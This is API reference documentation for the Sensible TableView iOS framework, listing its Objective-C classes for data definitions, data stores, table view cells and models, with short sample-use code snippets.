Sample use: // Extend the definition of ‘Task’ (user defined class) SCClassDefinition *taskDef = [SCClassDefinition definitionWithClass:[Task class] propertyNamesString:@“Task Details:(name,description,category,dueDate);Task Status:(completed)”]; SCPropertyDefinition *namePropertyDef = [taskDef propertyDefinitionWithName:@“name”]; namePropertyDef.required = TRUE; SCPropertyDefinition *descPropertyDef = [taskDef propertyDefinitionWithName:@“description”]; descPropertyDef.type = SCPropertyTypeTextView; SCPropertyDefinition *categoryPropertyDef = [taskDef propertyDefinitionWithName:@“category”]; categoryPropertyDef.type = SCPropertyTypeSelection; NSArray *categoryItems = [NSArray arrayWithObjects:@“Home”, @“Work”, @“Other”, nil]; categoryPropertyDef.attributes = [SCSelectionAttributes attributesWithItems:categoryItems allowMultipleSelection:NO allowNoSelection:NO];
See moreSee
SCDataDefinition.Declaration
Objective-C
@interface SCClassDefinition : SCDataDefinition
-
SCCoreDataFetchOptions further extends the SCDataFetchOptions subclass to control how data is fetched from SCCoreDataStore.
See moreNote
For more information on fetch options, check out the SCDataFetchOptions documentation.Declaration
Objective-C
@interface SCCoreDataFetchOptions : SCDataFetchOptions { NSString *_orderAttributeName; }
-
SCCoreDataStore is an SCDataStore subclass that encapsulates Core Data persistent storage, providing means for the SC framework to communicate with this storage to fetch, add, update and remove data objects.
Note
It is very rare when you’ll need to create an SCCoreDataStore instance yourself, as it’s typically automatically created for you when you use the SCEntityDefinition data definition. For example, when you use the SCArrayOfObjectsSection initializer method called [SCArrayOfObjectsSection sectionWithHeaderTitle:entityDefinition:], SCArrayOfObjectsSection automatically sets its dataStore property by calling your entityDefinition’s [SCDataDefinition generateCompatibleDataStore:] method.
See moreNote
For more information on data stores, check out the SCDataStore base class documentation.
Declaration
Objective-C
@interface SCCoreDataStore : SCDataStore
-
This class functions as a means to further extend the definition of user-defined data structures, such as classes and Core Data entities. This enables the framework to automatically generate user interfaces that accurately resemble these structures.
‘SCDataDefinition’ mainly consists of one or more property definitions of type SCPropertyDefinition. The property definitions can be placed in one or more property groups that will control how the properties are grouped when the user interface is generated. If no property groups are assigned, all property definitions are placed in a single defaultPropertyGroup.
See also: SCClassDefinition, SCDictionaryDefinition, SCEntityDefinition, SCWebServiceDefinition
See moreWarning
This is an abstract base class and should never be directly instantiated.Declaration
Objective-C
@interface SCDataDefinition : NSObject <SCibInitialization> { NSMutableArray *propertyDefinitions; NSString *keyPropertyName; NSString *titlePropertyName; NSString *titlePropertyNameDelimiter; NSString *descriptionPropertyName; SCPropertyGroup *defaultPropertyGroup; SCPropertyGroupArray *propertyGroups; BOOL requireEditingModeToEditPropertyValues; }
-
This class is used to control how data is fetched from SCDataStore. SCDataFetchOptions can be configured to have the data sorted, filtered, and/or returned in batches.
Sample use: SCArrayOfObjectsModel *myObjectsModel = …; myObjectsModel.dataFetchOptions.sort = TRUE;
See also: SCDataStore, SCCoreDataFetchOptions, SCWebServiceFetchOptions
See moreDeclaration
Objective-C
@interface SCDataFetchOptions : NSObject { BOOL _sort; NSString *_sortKey; BOOL _sortAscending; BOOL _filter; NSPredicate *_filterPredicate; NSUInteger _batchSize; NSUInteger _batchStartingOffset; NSUInteger _batchCurrentOffset; }
-
SCDataStore is an abstract base class that can encapsulate any kind of data storage, providing means for the SC framework to communicate with this storage to fetch, add, update and remove data.
Several SCDataStore subclasses have been implemented to enable the SC framework to communicate with Core Data, web services, iCloud storage, and even NSUserDefaults storage. Feel free to subclass SCDataStore to enable any kind of data storage not currently implemented by framework.
Sample use: // Display all the TaskEntity objects SCCoreDataStore *coreDataStore = [SCCoreDataStore storeWithManagedObjectContext:context defaultEntityDefinition:TaskEntityDef]; SCArrayOfObjectsSection *tasksSection = [SCArrayOfObjectsSection sectionWithHeaderTitle:@“Task Objects” dataStore:coreDataStore]; [self.tableViewModel addSection:tasksSection];
See also: SCArrayStore, SCCoreDataStore, SCWebServiceStore, SCiCloudStore, SCUserDefaultsStore
Note
At initialization time, SCDataStore must be assigned at least one default SCDataDefinition that fully defines its stored data objects.
See moreWarning
SCDataStore is an abstract base class and should not be directly instantiated.
Declaration
Objective-C
@interface SCDataStore : NSObject { SCStoreMode _storeMode; NSObject *_storedData; SCDataDefinition *_defaultDataDefinition; NSMutableDictionary *_dataDefinitions; NSMutableArray *_uninsertedObjects; NSObject *_boundObject; NSString *_boundPropertyName; SCDataDefinition *_boundObjectDefinition; NSDictionary *_defaultsDictionary; }
-
Undocumented
See moreDeclaration
Objective-C
@interface SCMissingFrameworkDataDefinition : SCDataDefinition
-
Undocumented
See moreDeclaration
Objective-C
@interface SCMissingFrameworkDataStore : SCDataStore
-
This class functions as a means to represent the definition of an NSDate class.
This class is typically used when you need to work with a collection of NSDate objects in classes like SCArrayOfObjectsSection and SCArrayOfObjectsModel. The class automatically generates only one property definition representing how the NSDate automatically generated UI should be defined.
See moreDeclaration
Objective-C
@interface SCDateDefinition : SCDataDefinition
-
This class is used to specify options for automatically generated detail view controllers.
Use this class to specify options such has how the automatically generated detail views are presented, their navigation bar type, their title, and/or their table view style.
Sample use: SCArrayOfObjectsModel *myObjectsModel = …; myObjectsModel.detailViewControllerOptions.presentationMode = SCPresentationModeModal;
See moreDeclaration
Objective-C
@interface SCDetailViewControllerOptions : NSObject
-
This class functions as a means to further extend the key definitions of an NSMutableDictionary.
Using dictionary definitions, classes like SCObjectCell and SCObjectSection will be able to better generate user interface elements that truly represent the keys of their bound mutable dictionaries.
Sample use: // Define the dictionary using SCDictionaryDefinition SCDictionaryDefinition *dictionaryDef = [SCDictionaryDefinition definitionWithDictionaryKeyNamesString:@“key1;key2;key3”]; [dictionaryDef<EMAIL_ADDRESS>= SCPropertyTypeSwitch; [dictionaryDef<EMAIL_ADDRESS>= SCPropertyTypeSlider;
// Create some sample data NSMutableDictionary *dictionary = [NSMutableDictionary dictionary]; [dictionary setValue:@“Text” forKey:@“key1”]; [dictionary setValue:[NSNumber numberWithBool:YES] forKey:@“key2”]; [dictionary setValue:[NSNumber numberWithFloat:0.7f] forKey:@“key3”];
// Generate sections for the dictionary [self.tableViewModel generateSectionsForObject:dictionary withDefinition:dictionaryDef];
See moreSee
SCPropertyDefinition.Declaration
Objective-C
@interface SCDictionaryDefinition : SCDataDefinition
-
This class functions as a means to further extend the definition of user-defined Core Data entities. Using entity definitions, classes like SCObjectCell and SCObjectSection will be able to better generate user interface elements that truly represent the properties of their bound objects.
SCEntityDefinition mainly consists of one or more property definitions of type SCPropertyDefinition. Upon creation, SCEntityDefinition will (optionally) automatically generate all the property definitions for the given entity. From there, the user will be able to customize the generated property definitions, add new definitions, or remove generated definitions.
Sample use: // Extend the definition of ‘TaskEntity’ (user defined Core Data entity) SCEntityDefinition *taskDef = [SCEntityDefinition definitionWithEntityName:@“TaskEntity” managedObjectContext:context propertyNamesString:@“Task Details:(name,description,category,dueDate);Task Status:(completed)”]; SCPropertyDefinition *namePropertyDef = [taskDef propertyDefinitionWithName:@“name”]; namePropertyDef.required = TRUE; SCPropertyDefinition *descPropertyDef = [taskDef propertyDefinitionWithName:@“description”]; descPropertyDef.type = SCPropertyTypeTextView; SCPropertyDefinition *categoryPropertyDef = [taskDef propertyDefinitionWithName:@“category”]; categoryPropertyDef.type = SCPropertyTypeSelection; NSArray *categoryItems = [NSArray arrayWithObjects:@“Home”, @“Work”, @“Other”, nil]; categoryPropertyDef.attributes = [SCSelectionAttributes attributesWithItems:categoryItems allowMultipleSelection:NO allowNoSelection:NO];
See moreSee
SCPropertyDefinition.Declaration
Objective-C
@interface SCEntityDefinition : SCDataDefinition
-
SCExpandCollapseCell is a special cell class that, once tapped, collapses its owner section’s contents into a single cell. When tapped again, it will expand the section’s contents to their original state.
Sample use: mySection.expandCollapseCell = [SCExpandCollapseCell cellWithExpandText:@“Expand Section” collapseText:@“Collapse Section” ownerSectionExpanded:FALSE];
See also: SCTableViewSection
See moreNote
SCExpandCollapseCell is always displayed at the top of the section.Declaration
Objective-C
@interface SCExpandCollapseCell : SCCustomCell
-
SCFetchItemsCell is a special cell that is automatically displayed by an SCArrayOfItemsSection when more section items need to be fetched. This is typically the case when the section’s dataFetchOptions property has specified a batchSize for the fetched items.
Sample use: myArrayOfObjectsSection.dataFetchOptions.batchSize = 10; myArrayOfObjectsSection.fetchItemsCell.textLabel.text = @“Load next batch”;
See also: SCArrayOfItemsSection
See moreNote
SCExpandCollapseCell is always displayed at the bottom of the section.Declaration
Objective-C
@interface SCFetchItemsCell : SCCustomCell { UIActivityIndicatorView *_activityIndicator; BOOL _autoFetchItems; BOOL _autoHide; }
-
This class defines a set of internal helper methods
See moreDeclaration
Objective-C
@interface SCUtilities : NSObject
-
This class defines a tabel view model center.
See moreImportant
This class is usually only used internally by the framework.Declaration
Objective-C
@interface SCModelCenter : NSObject { CFMutableSetRef modelsSet; }
-
This special view provides an accessory view that automatically appears on top of the keyboard, providing navigation functionality between the different text controls. The view provides ‘Next’, ‘Previous’, and ‘Done’ buttons. It also provides a special ‘Clear’ button for cells such as SCDateCell.
Sample use: self.tableViewModel.inputAccessoryView.rewind = FALSE;
See also: SCTableViewModel
See moreDeclaration
Objective-C
@interface SCInputAccessoryView : UIView
-
This class hosts a set of model action blocks. Once an action is set to a desired code block, it will execute the block as soon as the action occurs.
See moreSee
SCSectionActions, SCCellActions.Declaration
Objective-C
@interface SCModelActions : NSObject
-
This class functions as a means to represent the definition of an NSNumber class.
This class is typically used when you need to work with a collection of NSNumber objects in classes like SCArrayOfObjectsSection and SCArrayOfObjectsModel. The class automatically generates only one property definition representing how the NSNumber automatically generated UI should be defined.
See moreDeclaration
Objective-C
@interface SCNumberDefinition : SCDataDefinition
-
This class is used to extend the definition of an ‘SCPropertyAttributes’ instance of type SCPropertyTypeObjectSelection, thus allowing further customization of the generated control by the user.
See moreDeclaration
Objective-C
@interface SCObjectSelectionAttributes : SCSelectionAttributes
-
Undocumented
See moreDeclaration
Objective-C
@interface SCPluginUtilities : NSObject + (id)objectForPluginDictionary:(NSDictionary *)pluginDictionary; @end
-
This class is an abstract base class that represents a set of SCPropertyDefinition attributes.
Each subclass of ‘SCPropertyAttributes’ is used to extend the definition of an SCPropertyDefinition instance according to its respective type. Set the attributes property of an SCPropertyDefinition instance to a subclass to be able to further customize the user interface element that will be generated for this property definition.
See moreNote
You should never make instances of this class. Use subclasses instead.Declaration
Objective-C
@interface SCPropertyAttributes : NSObject { UIImageView *imageView; NSArray *imageViewArray; BOOL expandContentInCurrentView; SCSectionActions *_expandedContentSectionActions; }
-
This class is used to extend the definition of an ‘SCPropertyAttributes’ instance of type SCPropertyTypeTextView, thus allowing further customization of the generated control by the user.
See moreDeclaration
Objective-C
@interface SCTextViewAttributes : SCPropertyAttributes { CGFloat minimumHeight; CGFloat maximumHeight; BOOL editable; BOOL autoResize; }
-
This class is used to extend the definition of an ‘SCPropertyAttributes’ instance of type SCPropertyTypeTextField, thus allowing further customization of the generated control by the user.
See moreDeclaration
Objective-C
@interface SCTextFieldAttributes : SCPropertyAttributes { NSString *placeholder; BOOL secureTextEntry; UITextAutocorrectionType autocorrectionType; UITextAutocapitalizationType autocapitalizationType; }
-
This class is used to extend the definition of an ‘SCPropertyAttributes’ instance of type SCPropertyTypeNumericTextField, thus allowing further customization of the generated control by the user.
See moreDeclaration
Objective-C
@interface SCNumericTextFieldAttributes : SCTextFieldAttributes { NSNumber *minimumValue; NSNumber *maximumValue; BOOL allowFloatValue; NSNumberFormatter *numberFormatter; }
-
This class is used to extend the definition of an ‘SCPropertyAttributes’ instance of type SCPropertyTypeSlider, thus allowing further customization of the generated control by the user.
See moreDeclaration
Objective-C
@interface SCSliderAttributes : SCPropertyAttributes { float minimumValue; float maximumValue; }
-
This class is used to extend the definition of an ‘SCPropertyAttributes’ instance of type SCPropertyTypeSegmented, thus allowing further customization of the generated control by the user.
See moreDeclaration
Objective-C
@interface SCSegmentedAttributes : SCPropertyAttributes { NSArray *segmentTitlesArray; }
-
This class is used to extend the definition of an ‘SCPropertyAttributes’ instance of type SCPropertyTypeDate, thus allowing further customization of the generated control by the user.
See moreDeclaration
Objective-C
@interface SCDateAttributes : SCPropertyAttributes { NSDateFormatter *dateFormatter; UIDatePickerMode datePickerMode; BOOL displayDatePickerAsInputAccessoryView; }
-
This class is used to extend the definition of an ‘SCPropertyAttributes’ instance of type SCPropertyTypeSelection, thus allowing further customization of the generated control by the user.
See moreDeclaration
Objective-C
@interface SCSelectionAttributes : SCPropertyAttributes { SCDataStore *selectionItemsStore; SCDataFetchOptions *selectionItemsFetchOptions; BOOL allowMultipleSelection; BOOL allowNoSelection; NSUInteger maximumSelections; BOOL autoDismissDetailView; BOOL hideDetailViewNavigationBar; BOOL allowAddingItems; BOOL allowDeletingItems; BOOL allowMovingItems; BOOL allowEditingItems; NSObject *placeholderuiElement; NSObject *addNewObjectuiElement; }
-
This class is used to extend the definition of an ‘SCPropertyAttributes’ instance of type SCPropertyTypeObject, thus allowing further customization of the generated control by the user.
See moreDeclaration
Objective-C
@interface SCObjectAttributes : SCPropertyAttributes { SCDataDefinition *objectDefinition; }
-
This class is used to extend the definition of an ‘SCPropertyAttributes’ instance of type SCPropertyTypeArrayOfObjects, thus allowing further customization of the generated control by the user.
See moreDeclaration
Objective-C
@interface SCArrayOfObjectsAttributes : SCPropertyAttributes { SCDataDefinition *defaultObjectsDefinition; SCDataFetchOptions *objectsFetchOptions; BOOL allowAddingItems; BOOL allowDeletingItems; BOOL allowMovingItems; BOOL allowEditingItems; NSObject *placeholderuiElement; NSObject *addNewObjectuiElement; BOOL addNewObjectuiElementExistsInNormalMode; BOOL addNewObjectuiElementExistsInEdtingMode; SCSectionActions *_sectionActions; }
-
This class functions as a property definition for SCDataDefinition.
Every property definition should set a property type that determines which user interface element should be generated for the property. In addition, the generated user interface element can be further customized using the property’s attributes.
See moreSee
SCPropertyType, SCPropertyAttributes, SCClassDefinition, SCEntityDefinition, SCDictionaryDefinition.Declaration
Objective-C
@interface SCPropertyDefinition : NSObject { SCDataDefinition *ownerDataStuctureDefinition; SCDataType dataType; BOOL dataReadOnly; NSString *name; NSString *title; SCPropertyType type; SCPropertyAttributes *attributes; SCPropertyType editingModeType; SCPropertyAttributes *editingModeAttributes; BOOL required; BOOL autoValidate; BOOL existsInNormalMode; BOOL existsInEditingMode; BOOL existsInCreationMode; BOOL existsInDetailMode; }
-
This class functions as a property definition for SCDataDefinition that will generate a custom user inteface element (e.g.: custom cell).
‘SCCustomPropertyDefinition’ does not have to represent a property that actually exists in its class (unlike an SCPropertyDefiniton), and is often used in a structure definition as a placeholder for custom user interface element generation.
See moreSee
SCPropertyDefinition.Declaration
Objective-C
@interface SCCustomPropertyDefinition : SCPropertyDefinition
-
This class functions as a way to define a property definition group that is used to generate a corresponding user interface element that groups these properties (e.g.: a table view section).
Property definitions are added to this class using their NSString ‘name’ property.
See moreSee
SCPropertyDefinition, SCClassDefinition.Declaration
Objective-C
@interface SCPropertyGroup : NSObject { NSString *headerTitle; NSString *footerTitle; NSMutableArray *propertyDefinitionNames; }
-
Declaration
Objective-C
@interface SCPropertyGroupArray : NSObject { NSMutableArray *propertyGroups; }
-
This special view provides table views with the common pull-to-refresh functionality.
Once pull-to-refresh is enabled in the table view model, this view will automatically handle displaying the pull messsage, inform the model that the table view needs refreshing, and return back to normal state after the table view has done refreshing its contents.
Sample use: self.tableViewModel.enablePullToRefresh = TRUE; self.tableViewModel.pullToRefreshView.pullStateText = @“Pull to refresh tasks”; self.tableViewModel.pullToRefreshView.releaseStateText = @“Release to refresh tasks”; self.tableViewModel.pullToRefreshView.loadingStateText = @“Loading new tasks…”;
See also: SCTableViewModel
See moreDeclaration
Objective-C
@interface SCPullToRefreshView : UIView { UIScrollView *_boundScrollView; id _target; SEL _startLoadingAction; }
-
This class functions as a means to simplify creating view controllers dedicated to searching data within a table view.
In addition to all the features provided by its SCViewController superclass, SCSeachViewController conveniently provides a UISearchBar control and a UITableView control aligned under each other. In addition, SCSearchViewController defaults to automatically displaying a UISearchDisplayController when a search is performed.
See moreNote
Both the UISearchBar and UITableView controls can still be created in Interface Builder and assigned to their respective outlets. In case no outlets are assigned, SCSearchViewController will automatically create the missing control(s).Declaration
Objective-C
@interface SCSearchViewController : SCViewController { UISearchBar *_searchBar; }
-
This class hosts a set of section action blocks. Once an action is set to a desired code block, it will execute the block as soon as the action occurs.
See moreSee
SCCellActions, SCModelActions.Declaration
Objective-C
@interface SCSectionActions : NSObject
-
This class functions as a means to represent the definition of an NSString class.
This class is typically used when you need to work with a collection of NSString objects in classes like SCArrayOfObjectsSection and SCArrayOfObjectsModel. The class automatically generates only one property definition representing how the NSString automatically generated UI should be defined.
See moreDeclaration
Objective-C
@interface SCStringDefinition : SCDataDefinition
-
This class functions as a cell for SCTableViewSection. SCTableViewCell is extensively subclassed to create cells with special controls such as UITextField and UISlider.
SCTableViewCell provides the user with the infrastructure to access the cell’s value using the Bound Object method. This works by binding the cell to an object, called the bound object, and to a property of this object, called the bound property. The cell initializes its value from the value of the bound property, and when its values changes, it sets the property back automatically.
Please note that even though a cell value is not applicable to SCTableViewCell itself, SCTableViewCell still provides the bound object functionality as a framework to all its subclasses to use.
See moreDeclaration
Objective-C
@interface SCTableViewCell : UITableViewCell <SCViewControllerDelegate, SCTableViewControllerDelegate> { NSString *reuseId; BOOL configured; SCTableViewModel *activeDetailModel; SCTableViewModel *ownerTableViewModel; SCTableViewSection *ownerSection; id ownerViewControllerDelegate; SCDataType boundPropertyDataType; BOOL _isCustomBoundProperty; CGFloat _height; BOOL editable; BOOL movable; BOOL selectable; BOOL enabled; BOOL autoDeselect; BOOL autoResignFirstResponder; UITableViewCellEditingStyle cellEditingStyle; SCBadgeView *badgeView; BOOL leadingSwipePerformsFirstActionWithFullSwipe; BOOL trailingSwipePerformsFirstActionWithFullSwipe; NSArray *detailCellsImageViews; BOOL valueRequired; BOOL autoValidateValue; BOOL commitChangesLive; BOOL needsCommit; BOOL beingReused; BOOL customCell; BOOL isSpecialCell; SCDetailViewControllerOptions *detailViewControllerOptions; NSString *themeStyle; }
-
This class functions as a base class for all user defined custom cells.
The following is a summary of each control that can be automatically bound, in addition to the corresponding boundObject property value type that it must be associated with:
- UILabel: NSString, NSNumber, NSDate
- UITextField: NSString, NSNumber, NSDate
- UITextView: NSString, NSNumber, NSDate
- UISlider: NSNumber, NSString
- UISegmentedControl: NSNumber, NSString
- UISwitch: NSNumber
- UIImage: NSString
Declaration
Objective-C
@interface SCCustomCell : SCTableViewCell <UITextViewDelegate, UITextFieldDelegate> { BOOL _pauseControlEvents; NSMutableDictionary *_objectBindings; BOOL _autoResize; BOOL _showClearButtonInInputAccessoryView; }
-
This class functions as a base class for all cells that require user controls to be present inside their content view.
See moreDeclaration
Objective-C
@interface SCControlCell : SCCustomCell { BOOL _boundValueLoaded; UIColor *_initialControlColor; CGFloat maxTextLabelWidth; CGFloat controlIndentation; CGFloat controlMargin; BOOL showClearButtonInInputAccessoryView; }
-
This class functions as a cell with a UILabel control. The bound property of this cell can be of any type the decends from NSObject.
See moreDeclaration
Objective-C
@interface SCLabelCell : SCControlCell
-
This class functions as a cell with a UITextView control. The bound property of this cell must be of type NSString.
See moreDeclaration
Objective-C
@interface SCTextViewCell : SCControlCell { CGFloat minimumHeight; CGFloat maximumHeight; }
-
This class functions as a cell with a UITextField control. The bound property of this cell must be of type NSString.
See moreDeclaration
Objective-C
@interface SCTextFieldCell : SCControlCell
-
This class functions as a cell with a UITextField control with numeric values. The bound property of this cell must be of type NSNumber, int, float, or double. SCNumericTextFieldCell defines its own validation rules according to the following criteria:
- Value is valid only if it’s a numeric value.
- If minimumValue is not nil, then value is only valid if it’s greater than or equal to this value.
- If maximumValue is not nil, then value is only valid if it’s less than or equal to this value.
- If allowFloatValue is FALSE, then value is only valid if it’s an integer value.
Declaration
Objective-C
@interface SCNumericTextFieldCell : SCTextFieldCell { NSNumber *minimumValue; NSNumber *maximumValue; BOOL allowFloatValue; BOOL displayZeroAsBlank; NSNumberFormatter *numberFormatter; }
-
This class functions as a cell with a UISlider control. The bound property of this cell must be of type NSNumber, int, float, or double.
See moreDeclaration
Objective-C
@interface SCSliderCell : SCControlCell
-
This class functions as a cell with a UISegmentedControl. The bound property of this cell must be of type NSNumber, int, or NSString.
See moreDeclaration
Objective-C
@interface SCSegmentedCell : SCControlCell
-
This class functions as a cell with a UISwitch control. The bound property of this cell must be of type NSNumber or BOOL.
See moreDeclaration
Objective-C
@interface SCSwitchCell : SCControlCell
-
This class functions as a cell that provides the end-user with a UIDatePicker to choose a date with. The bound property of this cell must be of type NSDate.
See moreDeclaration
Objective-C
@interface SCDateCell : SCLabelCell <SCViewControllerDelegate> { UITextField *_pickerField; UIViewController *_activePickerDetailViewController; UIDatePicker *datePicker; NSDateFormatter *dateFormatter; BOOL displaySelectedDate; }
-
This class functions as a cell that provides the end-user with an automatically generated detail view of type UIImagePickerController to pick an image with. As soon as the image is picked, it will be saved to the Documents folder using either an auto generated name from the current time stamp, or a name provided through SCTableViewModelDelegate or the cell’s actions. The bound property of this cell must be of type NSString, and will be bound to the name of the selected image. Once an image is selected, tapping an SCImagePickerCell will display the image in a detail view. To select a different image, the table view must be put in edit mode (make sure UITableView’s allowsSelectionDuringEditing property is TRUE). Alternatively, make sure that displayClearImageButtonInDetailView property is TRUE, and the user will be able to tap a “Clear Image” button to clear the selected image.
See moreDeclaration
Objective-C
@interface SCImagePickerCell : SCCustomCell <UINavigationControllerDelegate, UIImagePickerControllerDelegate, UIActionSheetDelegate, SCViewControllerDelegate, UIScrollViewDelegate> { UIImage *cachedImage; UIPopoverController *popover; UIImagePickerController *imagePickerController; NSString *placeholderImageName; NSString *placeholderImageTitle; BOOL displayImageNameAsCellText; BOOL askForSourceType; UIButton *clearImageButton; BOOL displayClearImageButtonInDetailView; BOOL autoPositionClearImageButton; BOOL autoPositionImageView; CGRect textLabelFrame; CGRect imageViewFrame; NSString *selectedImageName; }
-
This class functions as a cell that provides the end-user with an automatically generated detail view of options to choose from, much like the Ringtone selection cell in the iPhone’s sound settings. The selection items are provided in the form of an array of NSStrings, called the items array. ‘SCSelectionCell’ can be configured to allow multiple selection and to allow no selection at all. the bound property of this cell must be of type NSNumber, NSString, or NSMutableSet. If allowMultipleSelection is TRUE, then only NSString and NSMutableSet property types are allowed.
See moreSee
SCSelectionSection.Declaration
Objective-C
@interface SCSelectionCell : SCLabelCell { SCDataStore *selectionItemsStore; SCDataFetchOptions *selectionItemsFetchOptions; BOOL allowMultipleSelection; BOOL allowNoSelection; NSUInteger maximumSelections; BOOL autoDismissDetailView; BOOL hideDetailViewNavigationBar; BOOL allowAddingItems; BOOL allowDeletingItems; BOOL allowMovingItems; BOOL allowEditDetailView; BOOL displaySelection; NSString *delimeter; NSMutableSet *selectedItemsIndexes; SCTableViewCell *placeholderCell; SCTableViewCell *addNewItemCell; }
-
This class functions as a cell that provides the end-user with an automatically generated detail view of objects to choose from.
The selection items are provided in the form of an array of NSObjects, called the items array. ‘SCObjectSelectionCell’ can be configured to allow multiple selection and to allow no selection at all. If allow multiple selection is disabled, then the bound property name of this cell must be of type NSObject, otherwise it must be of type NSMutableSet.
See moreSee
SCObjectSelectionSection.Declaration
Objective-C
@interface SCObjectSelectionCell : SCSelectionCell { SCDataDefinition *intermediateEntityDefinition; }
-
This class functions as a cell that is able to automatically generate a detail view with cells generated from a given bound object’s properties.
If the bound object is given without an extended class definition (SCClassDefinition), then the cells will only be generated for properties of type NSString and NSNumber, and will be either of type SCTextFieldCell or SCNumericTextFieldCell, respectively. If an SCClassDefinition is provided for the bound object, a full fledged detail view of cells will be generated.
When SCObjectCell is selected by the end-user, a detail view optionally fires up to to give the user the ability to edit the object’s properties.
See moreSee
SCObjectSection, SCArrayOfObjectsSection.Declaration
Objective-C
@interface SCObjectCell : SCCustomCell { NSString *boundObjectTitleText; }
-
This class functions as a means to simplify development with SCTableViewModel.
SCTableViewController conveniently provides several ready made navigation bar types based on SCNavigationBarType, provided that it is a subview of a navigation controller. SCTableViewController also defines placeholders for a tableView and a tableViewModel that the user can allocate and assign. If a tableViewModel is defined, SCTableViewController also connects its doneButton (if present) to tableViewModel’s commitButton automatically.
In addition, SCTableViewController fully manages memory warnings and makes sure the assigned table view is released once a memory warning occurs and reloaded once the view controller is loaded once more.
Finally, SCTableViewController provides several useful actions (SCTableViewControllerActions) that notify the delegate object of events like the view appearing or disappearing.
See moreDeclaration
Objective-C
@interface SCTableViewController : UITableViewController <UISplitViewControllerDelegate, UIPopoverControllerDelegate>
-
This class hosts a set of view controller action blocks. Once an action is set to a desired code block, it will execute the block as soon as the action occurs.
SCTableViewControllerAction_Block syntax: action = ^(SCTableViewController *viewController) { // Your code here };
See moreDeclaration
Objective-C
@interface SCTableViewControllerActions : NSObject
-
This class is the master mind behind all of Sensible TableView’s functionality.
Sensible TableView provides an alternative easy way to create sophisticated table views very quickly. The sophistication of these table views can range from simple text cells, to cells with controls, to custom cells that get automatically generated from your own classes. SCTableViewModel also automatically generates detail views for common tasks such as selecting cell values or creating new objects. Using SCTableViewModel, you can easily create full functioning applications in a matter of minutes.
SCTableViewModel is designed to be loosely coupled with your user interface elements. What this means is that you can use SCTableViewModel with Apple’s default UITableView or with any of your custom UITableView subclasses. Similarly, you can use SCTableViewModel with any UIViewController, or any of its subclasses, including UITableViewController or your own subclasses.
Architecture:
An SCTableViewModel defines a table view model with several sections, each section being of type SCTableViewSection. Each SCTableViewSection can contain several cells, each cell being of type SCTableViewCell.
See moreDeclaration
Objective-C
@interface SCTableViewModel : NSObject <UITableViewDataSource, UITableViewDelegate, UIScrollViewDelegate, SCInputAccessoryViewDelegate> { NSIndexPath *lastReturnedCellIndexPath; SCTableViewCell *lastReturnedCell; NSIndexPath *lastVisibleCellIndexPath; id target; SEL action; SCTableViewModel *masterModel; SCTableViewModel *activeDetailModel; UITableView *_tableView; UIBarButtonItem *editButtonItem; BOOL autoResizeForKeyboard; BOOL keyboardShown; CGFloat keyboardOverlap; SCInputAccessoryView *_inputAccessoryView; NSMutableArray *sections; NSArray *sectionIndexTitles; BOOL autoGenerateSectionIndexTitles; BOOL autoSortSections; BOOL hideSectionHeaderTitles; BOOL lockCellSelection; NSInteger tag; BOOL enablePullToRefresh; SCTableViewCell *activeCell; NSIndexPath *activeCellIndexPath; UIResponder *activeCellControl; UIBarButtonItem *commitButton; BOOL swipeToDeleteActive; SCModelActions *_modelActions; SCSectionActions *_sectionActions; SCCellActions *_cellActions; SCTheme *_theme; }
-
This class subclasses SCTableViewModel to represent an array of any kind of items and will automatically generate its cells from these items. ‘SCArrayOfItemsModel will automatically generate a set of SCArrayOfItemsSection(s) if the sectionHeaderTitleForItem modelAction is implemented, otherwise it will only generate a single SCArrayOfItemsSection.
Warning
This is an abstract base class, you should never make any direct instances of it.
See moreSee
SCArrayOfStringsModel, SCArrayOfObjectsModel, SCArrayOfStringsSection, SCArrayOfObjectsSection.
Declaration
Objective-C
@interface SCArrayOfItemsModel : SCTableViewModel <SCTableViewControllerDelegate, UISearchBarDelegate, UISearchResultsUpdating> { SCArrayOfItemsSection *tempSection; NSArray *filteredArray; SCDataStore *dataStore; SCDataFetchOptions *dataFetchOptions; BOOL _loadingContents; BOOL sectionsInSync; NSMutableArray *items; BOOL autoFetchItems; BOOL itemsInSync; UITableViewCellAccessoryType itemsAccessoryType; BOOL allowAddingItems; BOOL allowDeletingItems; BOOL allowMovingItems; BOOL allowEditDetailView; BOOL allowRowSelection; BOOL autoSelectNewItemCell; SCDetailViewControllerOptions *detailViewControllerOptions; SCDetailViewControllerOptions *newItemDetailViewControllerOptions; UISearchBar *searchBar; }
-
This class functions as a table view model that is able to represent an array of string items and automatically generate its cells from these items. The class inherits all its funtionality from its superclass: SCArrayOfItemsModel, except that its items array can only contain items of type NSString. ‘SCArrayOfStringsModel will automatically generate a set of SCArrayOfStringsSection(s) if the sectionHeaderTitleForItem modelAction is implemented, otherwise it will only generate a single SCArrayOfStringsSection.
See moreDeclaration
Objective-C
@interface SCArrayOfStringsModel : SCArrayOfObjectsModel
-
This class functions as a model that is able to provide selection functionality. The cells in this model represent different items that the end-user can select from, and they are generated from NSStrings in its items array. Once a cell is selected, a checkmark appears next to it, similar to Apple’s Settings application where a user selects a Ringtone for their iPhone. The section can be configured to allow multiple selection and to allow no selection at all.
Since this model is based on SCArrayOfStringsModel, it supports automatically generated sections and automatic search functionality.
There are three ways to set/retrieve the section’s selection:
- Through binding an object to the model, and specifying a property name to bind the selection index result to. The bound property must be of type NSMutableSet if multiple selection is allowed, otherwise it must be of type NSNumber or NSString.
Through the selectedItemsIndexes or selectedItemIndex properties.
See moreSee
SCSelectionSection.
Declaration
Objective-C
@interface SCSelectionModel : SCArrayOfStringsModel { BOOL boundToNSNumber; BOOL boundToNSString; NSIndexPath *lastSelectedRowIndexPath; NSObject *boundObject; SCDataStore *boundObjectStore; NSString *boundPropertyName; BOOL allowMultipleSelection; BOOL allowNoSelection; NSUInteger maximumSelections; BOOL autoDismissViewController; NSMutableSet *_selectedItemsIndexes; }
-
This class functions as a model that provides the end-user with an automatically generated list of objects to choose from.
The selection items are provided in the form of an array of NSObjects, called the items array. ‘SCObjectSelectionModel’ can be configured to allow multiple selection and to allow no selection at all. If allow multiple selection is disabled, then the bound property name of this model must be of type NSObject, otherwise it must be of type NSMutableSet.
See moreSee
SCObjectSelectionSection.Declaration
Objective-C
@interface SCObjectSelectionModel : SCArrayOfObjectsModel { NSIndexPath *lastSelectedRowIndexPath; NSObject *boundObject; SCDataStore *boundObjectStore; NSString *boundPropertyName; NSMutableSet *selectedItemsIndexes; BOOL allowMultipleSelection; BOOL allowNoSelection; NSUInteger maximumSelections; BOOL autoDismissViewController; }
-
